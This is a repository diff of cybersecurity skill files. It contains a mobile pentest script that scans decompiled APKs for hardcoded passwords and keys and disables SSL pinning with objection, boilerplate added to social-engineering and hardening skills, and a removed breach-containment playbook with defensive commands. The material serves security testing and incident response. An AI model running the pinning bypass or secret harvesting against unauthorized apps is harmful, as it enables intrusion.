"Password": re.compile(r'["\'](?:password|passwd|pwd)["\']?\s*[:=]\s*["\']([^"\']+)["\']', re.I),
|
||||
"Firebase URL": re.compile(r'https://[a-z0-9-]+\.firebaseio\.com'),
|
||||
}
|
||||
findings = []
|
||||
import os
|
||||
for root, _, files in os.walk(source_dir):
|
||||
for fname in files:
|
||||
if fname.endswith((".smali", ".java", ".xml", ".json", ".properties")):
|
||||
fpath = os.path.join(root, fname)
|
||||
try:
|
||||
with open(fpath, "r", errors="ignore") as f:
|
||||
content = f.read()
|
||||
for secret_type, pattern in patterns.items():
|
||||
matches = pattern.findall(content)
|
||||
for match in matches:
|
||||
findings.append({
|
||||
"type": secret_type,
|
||||
"file": os.path.relpath(fpath, source_dir),
|
||||
"severity": "CRITICAL" if "key" in secret_type.lower() else "HIGH",
|
||||
})
|
||||
except OSError:
|
||||
pass
|
||||
return findings
|
||||
|
||||
|
||||
def check_ssl_pinning(package_name):
|
||||
"""Check for SSL pinning implementation."""
|
||||
cmd = ["objection", "-g", package_name, "run", "android", "sslpinning", "disable"]
|
||||
try:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
|
||||
return {"ssl_pinning": "enabled" if "error" not in result.stdout.lower() else "not_detected"}
|
||||
except FileNotFoundError:
|
||||
return {"status": "error", "message": "objection not installed: pip install objection"}
|
||||
|
||||
|
||||
def run_pentest(apk_path):
|
||||
"""Execute mobile application penetration test."""
|
||||
print(f"\n{'='*60}")
|
||||
print(f" MOBILE APP PENETRATION TEST")
|
||||
print(f" APK: {apk_path}")
|
||||
print(f" Generated: {datetime.utcnow().isoformat()} UTC")
|
||||
print(f"{'='*60}\n")
|
||||
|
||||
decomp = run_apktool_decompile(apk_path)
|
||||
print(f"--- DECOMPILATION ---")
|
||||
print(f" Status: {decomp['status']}")
|
||||
|
||||
if decomp["status"] == "completed":
|
||||
manifest = check_android_manifest(f"{decomp['output_dir']}/AndroidManifest.xml")
|
||||
print(f"\n--- MANIFEST ANALYSIS ({len(manifest)} findings) ---")
|
||||
for f in manifest:
|
||||
if "error" not in f:
|
||||
print(f" [{f['severity']}] {f['finding']}")
|
||||
|
||||
secrets = scan_hardcoded_secrets(decomp["output_dir"])
|
||||
print(f"\n--- HARDCODED SECRETS ({len(secrets)} findings) ---")
|
||||
for s in secrets[:10]:
|
||||
print(f" [{s['severity']}] {s['type']} in {s['file']}")
|
||||
|
||||
return {"decompilation": decomp, "manifest": manifest, "secrets": secrets}
|
||||
return {"decompilation": decomp}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Mobile App Pentest Agent")
|
||||
parser.add_argument("--apk", required=True, help="Path to APK file")
|
||||
parser.add_argument("--output", help="Save report to JSON file")
|
||||
args = parser.parse_args()
|
||||
|
||||
report = run_pentest(args.apk)
|
||||
if args.output:
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2, default=str)
|
||||
print(f"\n[+] Report saved to {args.output}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
Social engineering penetration testing assesses an organization's human attack surface through controlled simulation of real-world deception techniques. According to Verizon DBIR 2024, the human element is involved in approximately 68% of all breaches, with phishing remaining the dominant initial access vector. This skill covers phishing, vishing (voice phishing), smishing (SMS phishing), and physical pretexting campaigns using tools like GoPhish, the Social Engineer Toolkit (SET), and Evilginx.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When conducting security assessments that involve conducting social engineering penetration test
|
||||
- When following incident response procedures for related security events
|
||||
- When performing scheduled security testing or auditing activities
|
||||
- When validating security controls through hands-on testing
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Written authorization from senior management (CISO/CTO)
|
||||
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
A pretext call (vishing) is a social engineering technique where an attacker impersonates a trusted authority figure over the phone to manipulate targets into divulging sensitive information, performing actions, or granting access. In red team engagements, pretext calls test the human element of security controls, measuring employee adherence to verification procedures and security awareness training effectiveness. MITRE ATT&CK maps this to T1566.004 (Phishing for Information: Voice) and T1598 (Phishing for Information).
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When conducting security assessments that involve conducting social engineering pretext call
|
||||
- When following incident response procedures for related security events
|
||||
- When performing scheduled security testing or auditing activities
|
||||
- When validating security controls through hands-on testing
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Written authorization specifying social engineering scope and boundaries
|
||||
|
||||
@@ -13,6 +13,21 @@ license: Apache-2.0
|
||||
## Overview
|
||||
Implement Microsoft's Enhanced Security Admin Environment (ESAE) tiered administration model for Active Directory. Covers Tier 0/1/2 separation, privileged access workstations (PAWs), administrative forest design, authentication policy silos, and credential theft mitigation.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When deploying or configuring configuring active directory tiered model capabilities in your environment
|
||||
- When establishing security controls aligned to compliance requirements
|
||||
- When building or improving security architecture for this domain
|
||||
- When conducting security assessments that require this implementation
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Familiarity with identity access management concepts and tools
|
||||
- Access to a test or lab environment for safe execution
|
||||
- Python 3.8+ with required dependencies installed
|
||||
- Appropriate authorization for any testing activities
|
||||
|
||||
## Objectives
|
||||
- Implement comprehensive configuring active directory tiered model capability
|
||||
- Establish automated discovery and monitoring processes
|
||||
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
AWS Verified Access is a Zero Trust Network Access (ZTNA) service that provides secure, VPN-less access to corporate applications hosted in AWS. It evaluates each access request in real-time against granular conditional access policies written in the Cedar policy language, ensuring access is granted per-application only when specific security requirements such as user identity and device security posture are met and maintained. Verified Access integrates with AWS IAM Identity Center, third-party identity providers (Okta, CrowdStrike, JumpCloud, Jamf), and device management solutions. For multi-account deployments, AWS Resource Access Manager (RAM) enables sharing Verified Access groups across organizational units.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When deploying or configuring configuring aws verified access for ztna capabilities in your environment
|
||||
- When establishing security controls aligned to compliance requirements
|
||||
- When building or improving security architecture for this domain
|
||||
- When conducting security assessments that require this implementation
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- AWS account with appropriate IAM permissions
|
||||
|
||||
@@ -14,6 +14,21 @@ license: Apache-2.0
|
||||
|
||||
A Certificate Authority (CA) is the trust anchor in a PKI hierarchy, responsible for issuing, signing, and revoking digital certificates. This skill covers building a two-tier CA hierarchy (Root CA + Intermediate CA) using OpenSSL and the Python cryptography library, including CRL distribution, OCSP responder configuration, and certificate policy management.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When deploying or configuring configuring certificate authority with openssl capabilities in your environment
|
||||
- When establishing security controls aligned to compliance requirements
|
||||
- When building or improving security architecture for this domain
|
||||
- When conducting security assessments that require this implementation
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Familiarity with cryptography concepts and tools
|
||||
- Access to a test or lab environment for safe execution
|
||||
- Python 3.8+ with required dependencies installed
|
||||
- Appropriate authorization for any testing activities
|
||||
|
||||
## Objectives
|
||||
|
||||
- Create a Root CA with self-signed certificate
|
||||
|
||||
@@ -14,6 +14,21 @@ license: Apache-2.0
|
||||
|
||||
Hardware Security Modules (HSMs) are tamper-resistant physical devices that safeguard cryptographic keys and perform cryptographic operations in a hardened environment. Keys stored in an HSM never leave the device boundary, providing the highest level of key protection. This skill covers configuring HSMs using the PKCS#11 standard interface, including key generation, signing, encryption, and key management using both physical HSMs and SoftHSM2 for development.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When deploying or configuring configuring hsm for key storage capabilities in your environment
|
||||
- When establishing security controls aligned to compliance requirements
|
||||
- When building or improving security architecture for this domain
|
||||
- When conducting security assessments that require this implementation
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Familiarity with cryptography concepts and tools
|
||||
- Access to a test or lab environment for safe execution
|
||||
- Python 3.8+ with required dependencies installed
|
||||
- Appropriate authorization for any testing activities
|
||||
|
||||
## Objectives
|
||||
|
||||
- Configure SoftHSM2 as a development PKCS#11 provider
|
||||
|
||||
@@ -13,6 +13,21 @@ license: Apache-2.0
|
||||
## Overview
|
||||
Harden LDAP directory services against common attacks including credential harvesting, LDAP injection, anonymous binding, and channel binding bypass. Covers LDAPS enforcement, channel binding, LDAP signing, access control lists, and monitoring for LDAP-based attacks.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When deploying or configuring configuring ldap security hardening capabilities in your environment
|
||||
- When establishing security controls aligned to compliance requirements
|
||||
- When building or improving security architecture for this domain
|
||||
- When conducting security assessments that require this implementation
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Familiarity with identity access management concepts and tools
|
||||
- Access to a test or lab environment for safe execution
|
||||
- Python 3.8+ with required dependencies installed
|
||||
- Appropriate authorization for any testing activities
|
||||
|
||||
## Objectives
|
||||
- Implement comprehensive configuring ldap security hardening capability
|
||||
- Establish automated discovery and monitoring processes
|
||||
|
||||
@@ -1,201 +0,0 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -1,186 +0,0 @@
|
||||
---
|
||||
name: containing-active-security-breach
|
||||
description: Rapidly contain an active security breach by isolating compromised systems, blocking attacker communications, and preserving evidence while minimizing business disruption.
|
||||
domain: cybersecurity
|
||||
subdomain: incident-response
|
||||
tags: [incident-response, containment, breach-response, network-isolation, dfir]
|
||||
version: "1.0"
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
---
|
||||
|
||||
# Containing an Active Security Breach
|
||||
|
||||
## When to Use
|
||||
- Active unauthorized access detected on network or systems
|
||||
- IDS/IPS alerts indicate ongoing exploitation or data exfiltration
|
||||
- SOC analysts confirm a true positive security incident requiring immediate containment
|
||||
- Lateral movement or privilege escalation observed in real time
|
||||
- Ransomware encryption activity detected before full deployment
|
||||
|
||||
## Prerequisites
|
||||
- Incident Response Plan with defined containment procedures
|
||||
- Network access to firewalls, switches, and endpoint management consoles
|
||||
- EDR/XDR platform deployed across endpoints (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint)
|
||||
- SIEM access with real-time log correlation (Splunk, Elastic, QRadar)
|
||||
- Pre-approved authority to isolate systems (documented in IR plan)
|
||||
- Forensic imaging tools ready for evidence preservation
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Validate and Classify the Incident
|
||||
```bash
|
||||
# Check SIEM for correlated alerts - Splunk example
|
||||
index=security sourcetype=ids_alerts severity=critical
|
||||
| stats count by src_ip, dest_ip, signature
|
||||
| where count > 5
|
||||
| sort -count
|
||||
|
||||
# Verify endpoint alerts via CrowdStrike Falcon API
|
||||
curl -X GET "https://api.crowdstrike.com/detects/queries/detects/v1?filter=status:'new'+max_severity_displayname:'Critical'" \
|
||||
-H "Authorization: Bearer $FALCON_TOKEN"
|
||||
```
|
||||
|
||||
### Step 2: Identify Scope of Compromise
|
||||
```bash
|
||||
# Identify all systems communicating with attacker C2
|
||||
# Using Zeek connection logs
|
||||
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p duration orig_bytes resp_bytes \
|
||||
| awk '$3 == 443 && $5 > 1000000' | sort -t$'\t' -k5 -rn | head -20
|
||||
|
||||
# Check for lateral movement in Windows Event Logs
|
||||
wevtutil qe Security /q:"*[System[(EventID=4624)] and EventData[Data[@Name='LogonType']='3']]" /f:text /c:50
|
||||
|
||||
# Query Active Directory for recent authentication anomalies
|
||||
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4625} -MaxEvents 100 |
|
||||
Group-Object -Property {$_.Properties[5].Value} | Sort-Object Count -Descending
|
||||
```
|
||||
|
||||
### Step 3: Execute Network Containment
|
||||
```bash
|
||||
# Block attacker IP at perimeter firewall (Palo Alto example)
|
||||
set cli pager off
|
||||
configure
|
||||
set rulebase security rules emergency-block from any to any source [attacker_ip] action deny
|
||||
set rulebase security rules emergency-block from any to any destination [attacker_ip] action deny
|
||||
commit force
|
||||
|
||||
# Isolate compromised VLAN at switch level (Cisco)
|
||||
configure terminal
|
||||
interface vlan 100
|
||||
shutdown
|
||||
end
|
||||
write memory
|
||||
|
||||
# Block C2 domains at DNS level
|
||||
# Add to DNS sinkhole or RPZ
|
||||
echo "attacker-c2-domain.com CNAME ." >> /etc/bind/rpz.local
|
||||
rndc reload
|
||||
```
|
||||
|
||||
### Step 4: Isolate Compromised Endpoints
|
||||
```bash
|
||||
# CrowdStrike - Network contain host via API
|
||||
curl -X POST "https://api.crowdstrike.com/devices/entities/devices-actions/v2?action_name=contain" \
|
||||
-H "Authorization: Bearer $FALCON_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"ids": ["device_id_1", "device_id_2"]}'
|
||||
|
||||
# Microsoft Defender for Endpoint - Isolate machine
|
||||
curl -X POST "https://api.securitycenter.microsoft.com/api/machines/{machineId}/isolate" \
|
||||
-H "Authorization: Bearer $MDE_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"Comment": "IR-2024-001: Active breach containment", "IsolationType": "Full"}'
|
||||
|
||||
# SentinelOne - Disconnect from network
|
||||
curl -X POST "https://usea1.sentinelone.net/web/api/v2.1/agents/actions/disconnect" \
|
||||
-H "Authorization: ApiToken $S1_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"filter": {"ids": ["agent_id"]}, "data": {}}'
|
||||
```
|
||||
|
||||
### Step 5: Preserve Volatile Evidence Before Full Isolation
|
||||
```bash
|
||||
# Capture live memory from compromised Windows host
|
||||
winpmem_mini_x64.exe memdump_hostname_$(date +%Y%m%d).raw
|
||||
|
||||
# Capture network connections and running processes
|
||||
netstat -anob > netstat_capture_$(date +%Y%m%d_%H%M).txt
|
||||
tasklist /V /FO CSV > process_list_$(date +%Y%m%d_%H%M).csv
|
||||
wmic process list full > process_detail_$(date +%Y%m%d_%H%M).txt
|
||||
|
||||
# Linux volatile evidence collection
|
||||
dd if=/proc/kcore of=/mnt/forensics/memory_$(hostname)_$(date +%Y%m%d).raw bs=1M
|
||||
ss -tulnp > /mnt/forensics/network_$(hostname).txt
|
||||
ps auxwwf > /mnt/forensics/processes_$(hostname).txt
|
||||
```
|
||||
|
||||
### Step 6: Disable Compromised Accounts
|
||||
```bash
|
||||
# Disable compromised Active Directory accounts
|
||||
Import-Module ActiveDirectory
|
||||
Disable-ADAccount -Identity "compromised_user"
|
||||
Set-ADUser -Identity "compromised_user" -Description "Disabled - IR-2024-001 $(Get-Date)"
|
||||
|
||||
# Revoke all active sessions
|
||||
Revoke-AzureADUserAllRefreshToken -ObjectId "user_object_id"
|
||||
|
||||
# Reset service account credentials
|
||||
Set-ADAccountPassword -Identity "svc_compromised" -Reset -NewPassword (ConvertTo-SecureString "TempP@ss$(Get-Random)" -AsPlainText -Force)
|
||||
```
|
||||
|
||||
### Step 7: Validate Containment Effectiveness
|
||||
```bash
|
||||
# Verify no active C2 communications
|
||||
tcpdump -i eth0 host attacker_ip -c 100 -w verification_capture.pcap
|
||||
|
||||
# Check for new lateral movement attempts
|
||||
index=security sourcetype=wineventlog EventCode=4624 LogonType=3
|
||||
earliest=-15m
|
||||
| stats count by src_ip, dest_ip
|
||||
| where src_ip IN ("compromised_hosts")
|
||||
|
||||
# Validate endpoint isolation status
|
||||
curl -X GET "https://api.crowdstrike.com/devices/entities/devices/v2?ids=device_id" \
|
||||
-H "Authorization: Bearer $FALCON_TOKEN" | jq '.resources[].status'
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Concept | Description |
|
||||
|---------|-------------|
|
||||
| Short-term Containment | Immediate actions to stop active damage (network isolation, account disable) |
|
||||
| Long-term Containment | Sustainable measures while investigation continues (VLAN segmentation, enhanced monitoring) |
|
||||
| Evidence Preservation | Capturing volatile data before containment actions destroy forensic artifacts |
|
||||
| Blast Radius | Total scope of systems, accounts, and data affected by the breach |
|
||||
| Containment Boundary | Network and logical perimeter established to prevent further spread |
|
||||
| Kill Chain Disruption | Breaking the attacker's operational chain at the earliest possible stage |
|
||||
| Business Continuity | Maintaining critical operations while containing the threat |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| CrowdStrike Falcon | Endpoint detection, network containment of hosts |
|
||||
| Microsoft Defender for Endpoint | Endpoint isolation and automated investigation |
|
||||
| Palo Alto NGFW | Perimeter firewall rules for IP/domain blocking |
|
||||
| Splunk/Elastic SIEM | Real-time alert correlation and scope analysis |
|
||||
| Zeek (Bro) | Network traffic analysis for C2 identification |
|
||||
| Velociraptor | Remote forensic collection and endpoint querying |
|
||||
| Active Directory | Account management and authentication control |
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
1. **Ransomware Pre-Encryption**: Attacker has deployed ransomware binary but encryption hasn't started. Isolate patient zero, block C2, and prevent lateral deployment.
|
||||
2. **Active Data Exfiltration**: Data is being exfiltrated to external server. Block egress to C2, capture network evidence, isolate affected systems.
|
||||
3. **Compromised Domain Controller**: Attacker has DC access. Isolate DC from network, reset KRBTGT twice, rotate all privileged credentials.
|
||||
4. **Supply Chain Compromise**: Malicious update deployed across environment. Block update server, isolate systems that received the update, assess scope.
|
||||
5. **Insider Threat - Active Exfil**: Employee actively copying sensitive data. Disable account, block USB access, preserve evidence chain.
|
||||
|
||||
## Output Format
|
||||
- Containment action log with timestamps (who, what, when)
|
||||
- Network isolation verification report
|
||||
- List of compromised/isolated systems with justification
|
||||
- Evidence preservation checksums and chain of custody records
|
||||
- Containment effectiveness validation results
|
||||
- Stakeholder notification with current status and next steps
|
||||
@@ -1,130 +0,0 @@
|
||||
# Breach Containment Action Report
|
||||
|
||||
## Incident Information
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| Incident ID | IR-YYYY-NNN |
|
||||
| Date/Time Detected | YYYY-MM-DD HH:MM UTC |
|
||||
| Containment Started | YYYY-MM-DD HH:MM UTC |
|
||||
| Containment Completed | YYYY-MM-DD HH:MM UTC |
|
||||
| Incident Commander | [Name] |
|
||||
| Severity Level | [Critical/High/Medium/Low] |
|
||||
|
||||
## Incident Summary
|
||||
[Brief description of the breach - what was detected, initial indicators, how the breach was discovered]
|
||||
|
||||
## Scope of Compromise
|
||||
|
||||
### Affected Systems
|
||||
| Hostname | IP Address | Role | Compromise Evidence | Containment Action |
|
||||
|----------|-----------|------|--------------------|--------------------|
|
||||
| | | | | |
|
||||
|
||||
### Compromised Accounts
|
||||
| Account Name | Account Type | Last Logon | Containment Action | Status |
|
||||
|-------------|-------------|------------|-------------------|--------|
|
||||
| | | | | |
|
||||
|
||||
### Affected Data
|
||||
| Data Classification | Data Type | Volume | Exfiltration Confirmed | Evidence |
|
||||
|--------------------|-----------|--------|----------------------|----------|
|
||||
| | | | | |
|
||||
|
||||
## Attack Timeline
|
||||
| Time (UTC) | Event | Source | Details |
|
||||
|-----------|-------|--------|---------|
|
||||
| | Initial access detected | | |
|
||||
| | Lateral movement observed | | |
|
||||
| | Containment initiated | | |
|
||||
| | Containment verified | | |
|
||||
|
||||
## Containment Actions Taken
|
||||
|
||||
### Network Containment
|
||||
- [ ] Attacker IPs blocked at perimeter firewall
|
||||
- IPs blocked: [list]
|
||||
- Firewall rule name/ID: [reference]
|
||||
- [ ] C2 domains sinkholed
|
||||
- Domains: [list]
|
||||
- Method: [DNS sinkhole/RPZ/hosts file]
|
||||
- [ ] Compromised network segments isolated
|
||||
- VLANs/subnets: [list]
|
||||
- Method: [ACL/VLAN shutdown/firewall rule]
|
||||
|
||||
### Endpoint Containment
|
||||
- [ ] Compromised hosts network-contained via EDR
|
||||
- EDR platform: [CrowdStrike/SentinelOne/MDE]
|
||||
- Hosts isolated: [list]
|
||||
- [ ] Malicious processes terminated
|
||||
- Processes: [list with PIDs]
|
||||
- [ ] Unauthorized software quarantined
|
||||
- Files: [list with hashes]
|
||||
|
||||
### Identity Containment
|
||||
- [ ] Compromised user accounts disabled
|
||||
- Accounts: [list]
|
||||
- [ ] Active sessions revoked
|
||||
- Method: [Azure AD/On-prem AD]
|
||||
- [ ] Service account credentials rotated
|
||||
- Accounts: [list]
|
||||
- [ ] MFA tokens reset
|
||||
- Users: [list]
|
||||
|
||||
### DNS/Web Containment
|
||||
- [ ] Malicious domains blocked at DNS
|
||||
- [ ] Web proxy rules updated
|
||||
- [ ] SSL certificates revoked (if applicable)
|
||||
|
||||
## Evidence Preserved
|
||||
|
||||
### Volatile Evidence (Collected Before Isolation)
|
||||
| Evidence Type | Host | Collection Time | SHA256 Hash | Collector |
|
||||
|--------------|------|-----------------|-------------|-----------|
|
||||
| Memory dump | | | | |
|
||||
| Network connections | | | | |
|
||||
| Process list | | | | |
|
||||
| DNS cache | | | | |
|
||||
|
||||
### Network Evidence
|
||||
| Capture Type | Source | Time Range | File Size | SHA256 Hash |
|
||||
|-------------|--------|------------|-----------|-------------|
|
||||
| PCAP | | | | |
|
||||
| NetFlow | | | | |
|
||||
|
||||
## Containment Verification
|
||||
|
||||
### Verification Checks
|
||||
- [ ] No active C2 communications detected post-containment
|
||||
- [ ] No new lateral movement attempts observed
|
||||
- [ ] All compromised accounts confirmed disabled
|
||||
- [ ] Isolated systems confirmed unreachable from network
|
